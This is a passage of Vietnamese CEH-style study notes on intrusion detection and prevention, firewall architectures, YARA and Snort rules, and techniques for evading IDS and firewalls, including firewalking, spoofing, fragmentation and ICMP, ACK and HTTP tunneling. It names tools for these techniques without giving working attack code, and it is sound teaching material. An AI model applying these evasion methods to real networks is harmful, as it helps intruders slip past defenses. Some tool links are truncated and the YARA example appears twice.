- Thu thập và phân tích thông tin từ bên trong máy tính hoặc mạng nhằm xác định các vi phạm chính sách bảo mật, bao gồm truy cập trái phép và hành vi lạm dụng (misuse).
- IDS được coi là một "bộ dò gói tin" (packet sniffer) chặn các gói dữ liệu di chuyển qua các phương tiện truyền thông và giao thức, thường là TCP/IP.
- Các gói tin được phân tích sau khi chúng bị bắt giữ.
- IDS đánh giá lưu lượng truy cập để tìm kiếm các dấu hiệu xâm nhập đáng ngờ và phát cảnh báo (alarm) khi phát hiện.

2. Vị trí triển khai IDS trong mạng [Trang 1626]

- Một trong những nơi phổ biến nhất để đặt IDS là gần tường lửa (firewall).
- Tùy thuộc vào lưu lượng, IDS có thể đặt bên ngoài hoặc bên trong tường lửa. Khi đặt bên trong, vị trí lý tưởng nhất là gần vùng phi quân sự (DMZ).
- Thực hành tốt nhất (Best practice): Sử dụng chiến lược phòng thủ theo lớp (layered defense) bằng cách triển khai một thiết bị IDS ở phía trước tường lửa (ngoài) và một thiết bị IDS khác ở phía sau tường lửa (trong mạng).

3. Cách IDS hoạt động [Trang 1626]

IDS giám sát và phát hiện xâm nhập theo thời gian thực qua các bước sau:

- IDS có các cảm biến (sensors) để nhận diện các chữ ký độc hại (malicious signatures) trong gói dữ liệu; một số IDS nâng cao bao gồm cả tính năng phát hiện hành vi (behavioral activity detection).
- Nếu chữ ký khớp (signature matches), IDS thực hiện các hành động đã định trước như: ngắt kết nối, chặn địa chỉ IP, loại bỏ gói tin (drop) và/hoặc phát cảnh báo cho quản trị viên.
- Khi chữ ký khớp, cơ chế phát hiện dị thường (anomaly detection) sẽ bị bỏ qua. Nếu không khớp, cảm biến mới tiếp tục phân tích các mẫu lưu lượng để tìm sự dị thường.
- Khi các gói tin vượt qua tất cả các khâu kiểm tra, IDS sẽ chuyển tiếp (forward) lưu lượng đó vào mạng.

4. Cách IDS phát hiện xâm nhập [Trang 1629 - 1630]

IDS sử dụng 3 phương pháp chính để phát hiện xâm nhập:

- **Nhận diện chữ ký (Signature recognition) hay Phát hiện lạm dụng (Misuse detection)** [Trang 1629 - 1630]: Tạo các mô hình xâm nhập và so sánh lưu lượng đến/đi với chữ ký nhị phân của các cuộc tấn công đã biết bằng phương pháp khớp mẫu (pattern-matching).
  - *Hạn chế:* Yêu cầu lượng lớn dữ liệu chữ ký, tốn băng thông và có thể tạo cảnh báo giả (false positive). Kẻ tấn công chỉ cần thay đổi 1 bit mã (như với virus URSNIF, VIRLOCK) là có thể làm vô hiệu hóa chữ ký.

- **Phát hiện dị thường (Anomaly detection) hay Phát hiện không sử dụng (Not-use detection)** [Trang 1630]: Phát hiện xâm nhập dựa trên các đặc trưng hành vi cố định của người dùng và thành phần hệ thống. Sự kiện bị coi là tấn công khi nó nằm ngoài ngưỡng chịu đựng (tolerance threshold) của lưu lượng bình thường. Khó khăn lớn nhất là việc xây dựng một mô hình sử dụng bình thường chính xác.
- **Phát hiện bất thường giao thức (Protocol anomaly detection)** [Trang 1630]: Phân tích lưu lượng để phát hiện sự sai lệch so với các tiêu chuẩn giao thức đã thiết lập (established protocol standards) hoặc mẫu hành vi dự kiến. Bao gồm 3 bước: Xây dựng hành vi cơ sở (Baseline behavior), Xác định dị thường (như cấu trúc gói lạ, sai trình tự) và Áp dụng quy tắc phát hiện (Detection rules).

Các dấu hiệu xâm nhập chung (General Indications of Intrusions) [Trang 1631 - 1632]: Các nỗ lực xâm nhập vào mạng hoặc hệ thống tệp có thể được xác định thông qua các dấu hiệu sau:

- **Xâm nhập hệ thống tệp (File System Intrusions):**
  - Xuất hiện các tệp/chương trình mới, không xác định trên hệ thống.
  - Sửa đổi không thể giải thích được về kích thước tệp, quyền sở hữu và quyền truy cập (ví dụ từ read-only sang write).
  - Sự hiện diện của các tệp suid và sgid giả mạo trên Linux.
  - Tên tệp lạ trong thư mục, bao gồm tệp thực thi có phần mở rộng kép hoặc tệp bị thiếu.
  - Mức sử dụng dung lượng đĩa tăng đột biến hoặc cạn kiệt lưu lượng lưu trữ bất ngờ.
  - Hệ thống hoạt động bất thường (hiệu suất chậm, crash tệp thường xuyên).
- **Xâm nhập mạng (Network Intrusions):**
  - Tăng đột ngột mức tiêu thụ băng thông.
  - Các cuộc thăm dò (probes) lặp đi lặp lại vào các dịch vụ trên máy.
  - Yêu cầu kết nối từ các IP nằm ngoài dải mạng, hoặc nỗ lực đăng nhập liên tục từ host từ xa.
  - Lượng lớn dữ liệu log tràn vào đột ngột (dấu hiệu của DoS/DDoS).
  - Thay đổi bất ngờ trong cấu hình mạng hoặc quy tắc tường lửa.
  - Crash hệ thống do quá tải mạng, hoặc lưu lượng outbound kết nối tới các tên miền độc hại.
- **Xâm nhập hệ thống (System Intrusions):**
  - Thay đổi đột ngột trong nhật ký (ví dụ: log bị ngắn lại hoặc không đầy đủ), hoặc thiếu log.
  - Thông báo văn bản hoặc hiển thị đồ họa bất thường.
  - Lỗ hổng trong kế toán hệ thống (Gaps in system accounting).
  - Xuất hiện các tiến trình (processes) lạ, cảnh báo từ IDS/Antivirus, hoặc có cài đặt phần mềm trái phép.
  - Sự hiện diện của các dấu vết như tệp shell history, tệp tạm thời hoặc tàn dư của công cụ tấn công.

5. Phân loại hệ thống IDS [Trang 1633 - 1634]

- **Network-Based IDS (NIDS)** [Trang 1633]: Kiểm tra từng gói tin đi vào mạng để tìm kiếm sự dị thường. NIDS chụp và kiểm tra toàn bộ lưu lượng, thường là một "hộp đen" (black box) đặt trên mạng ở chế độ hỗn tạp (promiscuous mode), lắng nghe các mẫu xâm nhập. Có thể phát hiện các cuộc tấn công từ chối dịch vụ (DoS/DDoS) và quét cổng.

- **Host-Based IDS (HIDS)** [Trang 1634]: Phân tích hành vi của một hệ thống cụ thể, cài đặt trên mọi thiết bị từ PC đến Server. HIDS đa năng hơn NIDS, đặc biệt hiệu quả trong việc phát hiện hoạt động trái phép từ nội bộ (insider) và sửa đổi tệp trái phép (file modification). Chúng không phổ biến do tiêu tốn nhiều tài nguyên hệ thống (overhead) để giám sát từng sự kiện.

6. Các loại cảnh báo IDS (Types of IDS alerts) [Trang 1635]

Loại (Type)	Hành động (Action)	Giải thích (Explanation)
Dương tính thật (True Positive)	Attack -> Alert	IDS phát cảnh báo khi có một cuộc tấn công thực sự đang diễn ra, hoặc trong các cuộc diễn tập khi bảo mật viên dùng tool hacker để test.
Dương tính giả (False Positive)	No attack -> Alert	IDS phát cảnh báo khi thực tế không có tấn công, coi hoạt động hệ thống bình thường là xâm nhập. Làm người dùng lờn cảnh báo.
Âm tính giả (False Negative)	Attack -> No Alert	IDS không phát cảnh báo khi có tấn công thực sự. Đây là tình trạng nguy hiểm nhất vì hệ thống phòng thủ bị qua mặt.
Âm tính thật (True Negative)	No attack -> No Alert	IDS không phát cảnh báo khi hành vi là hợp lệ và được chấp nhận. Hệ thống đang hoạt động đúng như mong đợi.

7. Hệ thống ngăn chặn xâm nhập (Intrusion Prevention System - IPS) [Trang 1627 - 1628]

Hệ thống ngăn chặn xâm nhập (IPS) được coi là IDS chủ động (active IDS); chúng không chỉ có khả năng phát hiện mà còn có thể tự động đưa ra quyết định để ngăn chặn xâm nhập. Khác với IDS thụ động, IPS được đặt nối tiếp (inline) trong mạng giữa nguồn và đích.

Các hành động chính của IPS [Trang 1627]:

- Tạo cảnh báo khi phát hiện lưu lượng bất thường.
- Ghi nhật ký hoạt động mạng theo thời gian thực (Real-time logs).
- Chặn (block) và lọc (filter) lưu lượng độc hại.
- Phát hiện và loại bỏ mối đe dọa một cách nhanh chóng.
- Nhận diện mối đe dọa với độ chính xác cao nhằm giảm thiểu các báo cáo dương tính giả (false positives).
- Có thể phát hiện các mỗi đe dọa nội bộ (insider threats).

Ưu điểm của IPS so với IDS [Trang 1628]: IPS có thể khóa và loại bỏ trực tiếp các gói bất hợp pháp, giúp ngăn chặn các cuộc tấn công trực tiếp bằng cách kiểm soát lượng lưu lượng truy cập mạng.

Phân loại IPS [Trang 1628]: Giống như IDS, IPS được chia làm 2 loại:

- Dựa trên máy chủ (Host-based IPS).
- Dựa trên mạng (Network-based IPS).

8. Tường lửa (Firewall) [Trang 1636 - 1637]

Tường lửa là một hệ thống dựa trên phần cứng và/hoặc phần mềm được đặt tại cổng mạng (network gateway).

- **Chức năng chính:** Được thiết kế để ngăn chặn quyền truy cập trái phép vào hoặc ra khỏi một mạng riêng (private network).
- **Vị trí:** Đặt tại điểm nối hoặc cổng (gateway) giữa hai mạng, thường là giữa mạng riêng và mạng công cộng (như Internet).

- **Cách thức hoạt động:** Kiểm tra tất cả các thông điệp/gói tin đi vào hoặc đi ra khỏi Intranet (mạng riêng) và chặn những thông điệp không đáp ứng các tiêu chí bảo mật đã chỉ định. Tường lửa có thể thiết lập cấu hình để giới hạn dịch vụ (chặn email spam, cho phép POP/SMTP), kiểm tra gói tin, và tạo log ghi nhận tất cả các nỗ lực truy cập.

9. Kiến trúc tường lửa (Firewall Architecture) [Trang 1638 - 1640]

Kiến trúc tường lửa bao gồm các thành phần sau:

- **Bastion host** [Trang 1638]:
  - Là một hệ thống máy tính được thiết kế và cấu hình để bảo vệ tài nguyên mạng khỏi các cuộc tấn công. Hoạt động như bộ trung gian (mediator) giữa mạng bên trong và bên ngoài.
  - Có hai giao diện (interfaces): một giao diện công khai nối trực tiếp ra Internet và một giao diện riêng tư nối vào mạng nội bộ (Intranet).
- **Screened subnet (Mạng con được sàng lọc)** [Trang 1638 - 1639]:
  - Là một mạng được bảo vệ, tạo ra bằng cách sử dụng tường lửa có 2 hoặc 3 giao diện (multi-homed) đứng sau một tường lửa sàng lọc. Thuật ngữ này thường dùng để chỉ DMZ.
  - Với tường lửa 3 giao diện: Giao diện 1 kết nối Internet, giao diện 2 kết nối DMZ, giao diện 3 kết nối Intranet. DMZ phản hồi các yêu cầu công khai và không có máy chủ nào bị truy cập bởi mạng riêng. Người dùng Internet không thể truy cập vùng riêng tư này.
- **Multi-homed Firewall (Tường lửa đa giao diện)** [Trang 1639]:
  - Là một nút (node) có nhiều card mạng (NIC) kết nối tới 2 hoặc nhiều mạng. Giúp phân chia hệ thống logic và vật lý dựa trên mục tiêu bảo mật. (Mô hình bảo vệ sâu nhất là back-to-back firewall).
- **Demilitarized zone (Vùng phi quân sự - DMZ)** [Trang 1639 - 1640]:
  - Là một mạng con (sub-network) nhỏ đặt ở vùng trung lập giữa mạng nội bộ an toàn của công ty và mạng ngoài không tin cậy (Internet).
    - DMZ đóng vai trò là vùng đệm (buffer) để ngăn truy cập trực tiếp vào các phần khác của mạng. Bất kỳ dịch vụ nào cung cấp cho người dùng bên ngoài (như email, web, FTP) đều được đặt trong DMZ. *(Lưu ý: Database servers chứa thông tin nhạy cảm không được đặt ở DMZ).*
    - *Lưu ý về DMZ (Vùng phi quân sự):* Ưu điểm của việc thiết lập một mạng con (subnet) cách ly khỏi mạng Intranet là các yêu cầu công khai (public requests) có thể được phản hồi mà không cho phép lưu lượng truy cập đi sâu vào mạng nội bộ. Tuy nhiên, nhược điểm của tường lửa 3 giao diện (three-homed firewall) là nếu nó bị xâm nhập, cả DMZ và mạng Intranet đều có thể bị xâm phạm. Kỹ thuật an toàn hơn là sử dụng **nhiều tường lửa (multiple firewalls)** để tách Internet khỏi DMZ, và sau đó tiếp tục tách DMZ khỏi mạng Intranet.

10. Phân loại tường lửa (Types of Firewalls) [Trang 1641 - 1650]

A. Dựa trên cấu hình (Based on Configuration) [Trang 1641 - 1643]

- **Tường lửa dựa trên mạng (Network-based firewall)** [Trang 1641 - 1642]:
  - Đặt ở ranh giới mạng (perimeter) để kiểm tra header gói tin và áp đặt quy tắc bảo mật. Bảo vệ toàn bộ mạng LAN. Ví dụ: Cisco Secure Firewall ASA, PA-7500, FortiGate 7121F.
  - *Ưu điểm:* Bảo mật cao (có OS riêng), tốc độ xử lý nhanh, ít can thiệp mạng.

  - *Nhược điểm:* Đắt tiền, khó cấu hình, tốn không gian và cáp nối.

- **Tường lửa trên máy chủ (Host-based firewall)** [Trang 1642 - 1643]:
  - Chạy trên từng cá nhân PC, thiết bị di động hoặc server. Bảo vệ chống truy cập trái phép, Trojan, email worms. Thích hợp cho người làm việc ngoài công ty. Ví dụ: Microsoft Defender, ZoneAlarm Pro, Norton Smart Firewall, McAfee.
  - *Ưu điểm:* Rẻ hơn, lý tưởng cho cá nhân/gia đình, dễ cấu hình.
  - *Nhược điểm:* Tiêu tốn tài nguyên hệ thống (RAM, CPU), khó gỡ cài đặt, không hợp cho môi trường cần tốc độ phản hồi nhanh.

B. Dựa trên cơ chế hoạt động (Based on Working Mechanism) [Trang 1644 - 1650]

- **Packet-filtering firewall** [Trang 1644 - 1645]: So sánh gói tin với tập tiêu chí tĩnh để định tuyến (cho qua hoặc rớt). Các tiêu chí lọc bao gồm: IP nguồn, IP đích, cổng nguồn TCP/UDP, cổng đích TCP/UDP, TCP flag bits (SYN, ACK), giao thức, hướng, và interface.
- **Circuit-level gateway** [Trang 1645]: Hoạt động ở Lớp Session (Lớp 5 OSI). Không lọc gói tin riêng lẻ mà xác thực thông qua việc giám sát bắt tay TCP (TCP three-way handshake). Chuyển tiếp dữ liệu nhưng ẩn thông tin mạng nội bộ.
- **Application-level firewall (Proxy)** [Trang 1646 - 1647]: Tập trung ở Lớp Application (Lớp 7 OSI). Phân tích nội dung và dữ liệu ứng dụng (lọc các lệnh cụ thể như HTTP POST/GET). Có 2 chế độ: Active (chủ động kiểm tra và chặn SQLi, XSS, cookie tampering) và Passive (như IDS, chỉ phát hiện).
- **Stateful multi-layer inspection firewall** [Trang 1647]: Kết hợp ưu điểm của 3 loại trên. Ghi nhớ trạng thái các kết nối đã đi qua trước đó, đánh giá tính hợp lệ của phiên ở Lớp Network và kiểm tra sâu nội dung ở Lớp Application. (Ví dụ: Cisco PIX).
- **Application proxy** [Trang 1648]: Máy chủ trung gian ảo (transparent). Nhận yêu cầu từ người dùng và thay mặt họ giao tiếp với Internet. Ưu điểm: Rất hữu ích cho việc ghi log, giảm tải mạng (nhờ caching), thực hiện xác thực cấp người dùng, và bảo vệ các triển khai IP yếu/lỗi.
- **Network address translation (NAT)** [Trang 1648 - 1649]: Chuyển đổi địa chỉ IP nội bộ sang IP công cộng (và ngược lại) để ẩn sơ đồ mạng nội bộ, ép lưu lượng qua một điểm nút thắt (choke point). Hệ thống NAT sử dụng các lược đồ khác nhau để dịch giữa địa chỉ nội bộ và bên ngoài:
  - Gán một địa chỉ host ngoại vi (external host address) cố định cho mỗi địa chỉ nội bộ và luôn áp dụng cùng một bản dịch. (Không tiết kiệm được không gian địa chỉ IP).
  - Cấp phát động (Dynamically allocate) một địa chỉ host ngoại vi mà không sửa đổi số cổng khi host nội bộ khởi tạo kết nối.
  - Tạo ánh xạ cố định (fixed mapping) nhưng sử dụng Port mapping để nhiều máy nội bộ dùng chung một địa chỉ ngoại vi.
  - Cấp phát động một cặp địa chỉ host ngoại vi và cổng (IP & Port pair) mỗi khi host nội bộ khởi tạo kết nối (giúp sử dụng hiệu quả nhất các địa chỉ host ngoại vi).
- **VPN firewall** [Trang 1650]: Dùng để kết nối WAN an toàn qua Internet. Thực hiện đóng gói (encapsulation), mã hóa lưu lượng và kiểm tra tính toàn vẹn bên ngoài vòng kiểm tra gói tin.
- **Next-generation firewall (NGFW)** [Trang 1650 - 1651]: Giải pháp bảo mật tinh vi thực hiện Deep Packet Inspection (DPI) (kiểm tra gói tin sâu), nhận diện ứng dụng, tích hợp tính năng IPS, chống malware và tận dụng thông tin tình báo đe dọa từ Cloud để chặn Zero-day và APT.

Bảng Tóm tắt Tường lửa dựa trên Lớp OSI (OSI Layer Summary) [Trang 1644, 1665] *(Bổ sung từ bảng CEH Keywords của người dùng và giáo trình)*

Firewall Type	OSI Layer	How It Works (Cách hoạt động)	CEH Keywords
Packet-Filtering Firewall	L3 (Network) / L4 (Transport)	Lọc dựa trên IP, port, TCP flags, protocol.	Stateless filtering
Stateful Firewall	L3 / L4	Theo dõi và ghi nhớ trạng thái kết nối (state table).	Session awareness
Circuit-Level Gateway	L5 (Session)	Xác thực tính hợp lệ của quá trình bắt tay TCP.	Session validation
Application-Level Firewall (Proxy)	L7 (Application)	Kiểm tra nội dung dữ liệu ứng dụng cụ thể.	Deep packet inspection
Next-Generation Firewall (NGFW)	L3–L7	Đa lớp: DPI + Tích hợp IDS/IPS + Nhận diện ứng dụng.	Application awareness

11. Hạn chế của Tường lửa (Firewall Limitations) [Trang 1651 - 1652]

- Có thể hạn chế quyền truy cập Internet và các dịch vụ hữu ích (như FTP, Telnet).
- Không thể ngăn chặn các cuộc tấn công từ bên trong (internal attacks) hoặc backdoor do nhân viên bất mãn tạo ra.
- Tạo thành một điểm tắc nghẽn (bottleneck) và điểm ngắm duy nhất nếu mọi kết nối đều đi qua nó.
- Không bảo vệ được trước Social Engineering và các cuộc tấn công hướng dữ liệu (vd: nạn nhân tự bấm vào link độc hại trong email).
- Không bảo vệ được nếu các thiết bị ngoại vi (USB, laptop cá nhân) đã nhiễm mã độc được cắm trực tiếp vào mạng nội bộ.
- Không ngăn chặn được tất cả các virus Zero-day, không thể thay thế phần mềm Antivirus, và không thể phân tích các lưu lượng đã bị mã hóa đường hầm (tunneled traffic).

12. Phát hiện xâm nhập bằng quy tắc YARA (Intrusion Detection using YARA Rules) [Trang 1653 - 1655]

YARA là một công cụ nghiên cứu mã độc đa nền tảng (Windows, macOS, Linux) cho phép các nhà phân tích bảo mật phát hiện và phân loại malware/mã độc thông qua phương pháp tiếp cận dựa trên quy tắc (rule-based). Nó phân tích các mẫu văn bản hoặc mã nhị phân (hex) cụ thể trong tệp.

Cú pháp của một quy tắc YARA bắt đầu bằng từ `rule` kèm theo tên quy tắc và bao gồm 3 phần logic chính:

- **`metadata` (meta)**: Là phần chứa thông tin chung (như mô tả, mức độ đe dọa, tác giả) mà nhà phân tích sử dụng để định danh các tệp thu thập được bởi quy tắc cụ thể đó.
- **`strings` (strings)**: Cung cấp ý nghĩa cho phần điều kiện bằng cách định nghĩa tất cả các chuỗi cần tìm trong tệp. YARA hỗ trợ các loại chuỗi: chuỗi thập lục phân (hexadecimal), văn bản thuần túy (text strings), và biểu thức chính quy (regular expressions).
- **`condition` (condition)**: Các biểu thức Boolean xác định điều kiện logic/Khi nào thì kết quả trả về là `true` để kết luận tệp đó là mã độc.

Ví dụ một quy tắc YARA (Trang 1654):

```
rule silent_banker : banker
{
    meta:
        description = "This is just an example"
        threat_level = 3
        in_the_wild = true
    strings:
        $a = {6A 40 68 00 30 00 00 6A 14 8D 91}
        $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}
        $c = "UVODFRYSIHLNWPEJXQZAKCBGMT"
    condition:
        $a or $b or $c
}
```


```
rule silent_banker : banker
{
    meta:
        description = "This is just an example"
        threat_level = 3
        in_the_wild = true
    strings:
        $a = {6A 40 68 00 30 00 00 6A 14 8D 91}
        $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}
        $c = "UVODFRYSIHLNWPEJXQZAKCBGMT"
    condition:
        $a or $b or $c
}
```


Công cụ tham khảo: yarGen [Trang 1654 - 1655]

- **yarGen** (Mã nguồn: `https://github.com`) là công cụ dùng để tự động tạo ra các quy tắc YARA.
- Hoạt động dựa trên nguyên tắc: trích xuất các chuỗi từ các tệp malware đã biết, đồng thời loại bỏ các chuỗi hợp pháp (bằng cách đối chiếu với kho cơ sở dữ liệu các tệp tin an toàn - goodware strings/opcode database dạng ZIP).
- Được cài đặt thông qua Python (`pip install -r requirements.txt`) và hỗ trợ mạnh mẽ cho các nhà phân tích tự động hóa việc viết quy tắc YARA.
- **Các công cụ YARA bổ sung:**
  - Vovk (`https://github.com`)
  - Halogen (`https://github.com`)
  - YARA Silly Silly (`https://github.com`)
  - yara-forge (`https://github.com`)
  - YaraRET (`https://github.com`)

13. Công cụ IDS (Intrusion Detection Tools) [Trang 1657 - 1662]

Các công cụ này giúp đọc gói tin mạng, tái tạo phiên người dùng và phát hiện dấu hiệu tấn công:

- **Snort** [Trang 1657 - 1660]: Hệ thống IDS mạng mã nguồn mở, thực hiện phân tích lưu lượng thời gian thực và ghi log gói tin trên mạng IP. Có khả năng phân tích giao thức và tìm kiếm/so khớp nội dung để phát hiện buffer overflows, stealth port scans và OS fingerprinting.
  - Sử dụng thư viện `libpcap` (UNIX/Linux) hoặc `Winpcap` (Windows).
  - **Quy tắc Snort (Snort Rules):** Ngôn ngữ cấu hình linh hoạt viết trên một dòng duy nhất, gồm 2 phần là Rule header (xác định hành động alert, log, pass, IP, Port) và Rule options (chứa thông báo cảnh báo).
  - **Rule Actions (Hành động của quy tắc):** Mục hành động cho Snort biết "phải làm gì" khi tìm thấy gói tin khớp với tiêu chí. Có 6 hành động mặc định: `alert`, `log`, `pass`, `drop`, `reject`, và `sdrop`.
  - **IP Protocols (Giao thức IP):** Snort hỗ trợ theo dõi 3 giao thức IP chính là TCP, UDP và ICMP.
  - **Cú pháp nâng cao trong Quy tắc Snort:**
    * **Toán tử hướng (Direction Operator):** Cho biết hướng của lưu lượng. Sử dụng → (đơn hướng) hoặc <> (hai chiều/bidirectional). *Lưu ý: Không có toán tử ←.*
    * **Khai báo danh sách IP (IP Address Lists):** Snort có thể xử lý một IP đơn lẻ hoặc một danh sách các IP. Khi chỉ định danh sách, các IP phải được phân tách bằng dấu phẩy và đặt trong dấu ngoặc vuông (không có khoảng trắng). Ví dụ: `[192.168.1.1,192.168.1.45,10.1.1.24]`.
    * **Phủ định địa chỉ IP và Cổng (Negation):** Snort cho phép dùng toán tử NOT (`!`) với IP hoặc Cổng để áp dụng quy tắc cho mọi thứ *ngoại trừ* đối tượng đó.
    * *(Ví dụ phủ định IP: `alert tcp !192.168.1.0/24 any → 192.168.1.0/24 111`)*
    * *(Ví dụ phủ định Port: `log tcp any → 192.168.1.0/24 !6000:6010`)*
- **Suricata** [Trang 1661 - 1662]: Công cụ phát hiện mối đe dọa mạng mạnh mẽ với khả năng chạy IDS thời gian thực, có thể chạy inline như một IPS (Intrusion Prevention System). Hỗ trợ giám sát an ninh mạng (NSM) và xử lý gói tin pcap offline (ngoại tuyến). Hỗ trợ ngôn ngữ mã lệnh Lua và xuất dữ liệu ra YAML/JSON để tích hợp dễ dàng với SIEM.
- *(Bổ sung từ nguồn)* **Các công cụ IDS khác** [Trang 1662]: Juniper Network's IDP system, Samhain HIDS, OSSEC, Zeek, Cisco Secure IPS.

14. Công cụ IPS (Intrusion Prevention Tools) [Trang 1663 - 1664]

- **Trellix IPS** [Trang 1663 - 1664]: Giúp chuyên gia bảo mật phát hiện các mạng botnet tàng hình, worm và các cuộc tấn công dò thám/thu thập thông tin (reconnaissance attacks) từ sớm. Nó tổng hợp dữ liệu luồng (flow data) từ switch/router và phân tích hành vi để tương quan các mẫu bất thường.
- *(Bổ sung từ nguồn)* **Các công cụ IPS khác** [Trang 1664]: Check Point Quantum IPS, Atomic OSSEC, McAfee Host Intrusion Prevention for Desktops, Secure IPS (NGIPS), Palo Alto Advanced Threat Prevention.

15. Kỹ thuật né tránh IDS và Tường lửa (IDS and Firewall Evasion Techniques) [Trang 1668 - 1708]

Xác định mục tiêu (IDS/Firewall Identification) [Trang 1669 - 1671]

- **Quét cổng (Port scanning):** Kẻ tấn công quét các cổng mở để tìm lỗ hổng phiên bản dịch vụ. Vài firewall sẽ tự "khai báo" danh tính khi bị quét (Ví dụ: ManageEngine lắng nghe trên UDP 514/1514; Snort IDS lắng nghe trên TCP 80 và UDP 53).

- **Firewalking:** Kỹ thuật dùng giá trị TTL (Time-to-Live) để xác định các bộ lọc ACL trên gateway và lập bản đồ mạng (hoạt động tương tự traceroute). Kẻ tấn công gửi gói TCP/UDP với giá trị TTL lớn hơn 1 hop so với tường lửa mục tiêu để xem phản hồi ICMP error. Công cụ: Script `firewalk` của Nmap.
  - **Chi tiết kỹ thuật Firewalking:** Firewalking hoạt động bằng cách gửi các gói TCP/UDP vào tường lửa với giá trị TTL (Time-To-Live) lớn hơn chính xác 1 hop so với tường lửa mục tiêu. Nếu gói tin lọt qua được cổng (gateway), hệ thống sẽ chuyển tiếp nó sang hop tiếp theo (nơi TTL giảm về 0), từ đó kích hoạt một thông báo lỗi ICMP "TTL exceeded in transit" dội ngược về. Nếu không có phản hồi ICMP, nghĩa là tường lửa đã drop gói tin đó. Điều này giúp kẻ tấn công xác định chính xác các rule cổng đang mở.
- **Banner grabbing:** Thu thập thông báo dịch vụ để nhận diện nhà cung cấp và phiên bản firmware của tường lửa/IDS. Thường thực hiện trên các dịch vụ FTP, Telnet, web server. (Ví dụ lệnh: `telnet mail.targetcompany.org 25`).

IP spoofing, source routing và fragmentation [Trang 1672 - 1674]

- **IP address spoofing (Giả mạo IP)** [Trang 1672]: Giả mạo địa chỉ IP nguồn để ẩn danh và đóng giả làm một nguồn được tin cậy (trusted host) để lọt qua firewall. Kẻ tấn công sử dụng các công cụ như `hping` để tạo các gói tin tùy chỉnh với IP nguồn giả mạo.
- **Source routing (Định tuyến nguồn)** [Trang 1673]: Kẻ gửi gói tin sẽ tự chỉ định tuyến đường đi (route) của gói tin đó qua các đoạn mạng ít được bảo mật hoặc chưa cài đặt IDS. Cho phép kẻ tấn công né tránh các nút kiểm duyệt. Chia làm 2 loại: loose source routing (chỉ định vài điểm phải đi qua) và strict source routing (chỉ định chính xác mọi điểm).
- **Tiny fragments (Phân mảnh nhỏ)** [Trang 1674]: Tấn công bằng cách chia nhỏ các gói tin TCP ra thành các mảnh cực nhỏ, buộc một số thông tin quan trọng của header TCP phải nằm ở mảnh tiếp theo. Firewall/IDS thường chỉ kiểm tra header ở mảnh đầu tiên, nên nếu mảnh đầu lọt qua, các mảnh chứa mã độc phía sau cũng sẽ trót lọt.

Using an IP Address in Place of a URL (Sử dụng địa chỉ IP thay vì URL) [Trang 1675]

- Phương pháp này liên quan đến việc nhập trực tiếp địa chỉ IP của trang web bị chặn vào thanh địa chỉ của trình duyệt thay vì nhập tên miền. Ví dụ: gõ IP của Facebook thay vì facebook.com.
- Có thể sử dụng các dịch vụ như Host2ip để tìm địa chỉ IP của trang web bị chặn.
- Phương pháp này sẽ thất bại nếu phần mềm chặn có tính năng theo dõi luôn cả địa chỉ IP được gửi đến web server.

Bypassing IDS/Firewall bằng các trang lướt web ẩn danh (Using Anonymous Website Surfing Sites) [Trang 1676]

- Các trang web lướt web ẩn danh giúp duyệt Internet ẩn danh và truy cập các trang bị chặn mà không tiết lộ địa chỉ IP thật của người dùng.
- Một số trang cung cấp tùy chọn mã hóa cả URL.
- Các proxy này sẽ ẩn IP thực và hiển thị một IP khác, cho phép vượt qua rào cản từ tường lửa.
- Anonymize VPN (https://anonymize.com): Định tuyến toàn bộ lưu lượng qua một đường hầm mã hóa trực tiếp từ máy tính để bảo mật mạng, mask (che giấu) IP thực để đảm bảo ẩn danh hoàn toàn.
- Một số công cụ/trang web ẩn danh trực tuyến: https://anonymize.com, https://2ip.io/anonim, https://www.kproxy.com https://zendproxy.com, https://proxify.com, https://www.proxysite.com, http://anonymouse.org, https://proxyscrape.c

Bypassing FW/IDS using a proxy server (Né tránh qua proxy) [Trang 1677]

- Giúp truy cập các dịch vụ bị chặn. Trên Windows, người dùng có thể lách luật từ thiết bị tới tường lửa bằng cách: Vào Control Panel -> Internet Options -> LAN settings. Cấu hình IP và Port proxy, và chọn mục "Bypass proxy server for local addresses".

ICMP tunneling (Tạo hầm ICMP) [Trang 1678 - 1679]

- Lợi dụng việc ICMP ít bị chặn do được dùng cho Ping và Traceroute.
- Kẻ tấn công cài đặt công cụ `ICMPTX` trên hệ thống.
- Họ chèn các lệnh của máy khách hoặc payload độc hại vào phần dữ liệu (data portion) của gói ICMP Echo.
- IDS/Firewall thường không kiểm tra phần dữ liệu của ICMP, cho rằng đó là lưu lượng hợp lệ nên cho phép đi qua mạng mà không đánh chặn.

Bypassing IDS/Firewall through ACK tunneling [Trang 1680 - 1681]

- Nhiều tường lửa tập trung lọc gói SYN (khởi tạo) và nới lỏng việc lọc các gói ACK vì cho rằng chúng thuộc về một kết nối đã được thiết lập hợp lệ trước đó.
- Kẻ tấn công thiết lập một kết nối TCP hợp lệ.
- Sử dụng các công cụ như `hping` hoặc `nping`, kẻ tấn công chế tạo các gói ACK mang theo payload độc hại.
- Tường lửa không kiểm tra kỹ sẽ cho phép các gói này đi qua, giúp né tránh phát hiện của IDS.

HTTP tunneling (Tạo hầm HTTP) [Trang 1682 - 1687]

- Tunnel/đóng gói lưu lượng (như FTP) vào bên trong TCP port 80 (HTTP) vì cổng này thường luôn được tường lửa mở.
- HTTP tunneling giúp che giấu danh tính, vượt chặn và chia sẻ tài nguyên qua HTTP.
- Công cụ: `chisel`, HTTPort, HTTHost, Tunna. HTTPort hỗ trợ cấu hình SSL/CONNECT mode hoặc chạy qua một remote host bảo mật bên ngoài để mã hóa toàn bộ dữ liệu.
  - **Cơ chế của HTTPort:** HTTPort cung cấp hai chế độ chạy hầm: **SSL/CONNECT mode** và **Remote host mode**.
    - **SSL/CONNECT mode:** Chế độ này yêu cầu proxy phải hỗ trợ phương thức HTTP CONNECT (thường bị vô hiệu hóa mặc định). Chế độ này rất nhanh nhưng dữ liệu không được mã hóa, do đó proxy có thể theo dõi mọi hành động.
    - **Remote host mode:** Sử dụng một máy chủ đặc biệt có tên là **HTTHost** cài đặt bên ngoài mạng bị chặn. Proxy sẽ thấy người dùng như đang lướt một trang web bình thường, nhưng thực tế HTTHost đang thực hiện một nửa quá trình tạo hầm và giao tiếp với máy chủ đích. Chế độ này chậm hơn nhưng mã hóa dữ liệu cực mạnh, khiến việc ghi log của proxy trở nên vô dụng.
  - **Các bước cấu hình HTTPort và HTTHost:**
